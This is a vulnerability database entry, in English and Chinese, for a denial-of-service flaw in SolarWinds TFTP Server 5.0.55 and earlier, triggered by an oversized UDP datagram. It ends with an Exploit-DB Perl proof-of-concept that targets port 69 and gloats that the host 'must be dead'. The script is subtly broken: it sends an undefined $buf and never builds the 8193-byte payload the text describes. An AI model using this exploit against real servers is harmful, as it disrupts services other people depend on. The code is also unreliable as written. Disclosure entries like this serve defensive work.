[原文]SolarWinds TFTP server 5.0.55 and earlier allows remote attackers to cause a denial of service (crash) via a large UDP datagram, possibly triggering a buffer overflow.


[CNNVD]SolarWinds TFTP服务程序超大UDP包远程拒绝服务攻击漏洞(CNNVD-200303-100)

        
        SolarWinds TFTP服务程序可以同时发送和接收多个文件,经常用于下载/上传路由器,交换机等可执行映象和配置文件。
        SolarWinds TFTP服务程序在处理超大的UDP包时存在问题,远程攻击者可以利用这个漏洞进行拒绝服务攻击。
        攻击者如果向SolarWinds TFTP服务程序发送8193或者更多字节请求,TFTP服务程序就会变的不稳定,并以如下错误信息关闭应用程序:
        Run-time error '10040':
        The datagram is too large to fit into the buffer and is truncated.

SolarWinds TFTP Server Standard Edition 5.0.55 Large UDP Packet Vulnerability (EDBID:21963)

A problem in SolarWinds TFTP Server may result in a denial of service, and may have other ramifications. SolarWinds TFTP Server is distributed for the Microsoft Windows platform.

Under some circumstances, it may be possible to crash a vulnerable TFTP server. By sending a UDP packet to the server that is 8193 or more bytes, the server becomes unstable. It has been reported that doing this can consistently reproduce a crash of the server, requiring a manual restart to resume normal operation.

use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead :)\n";
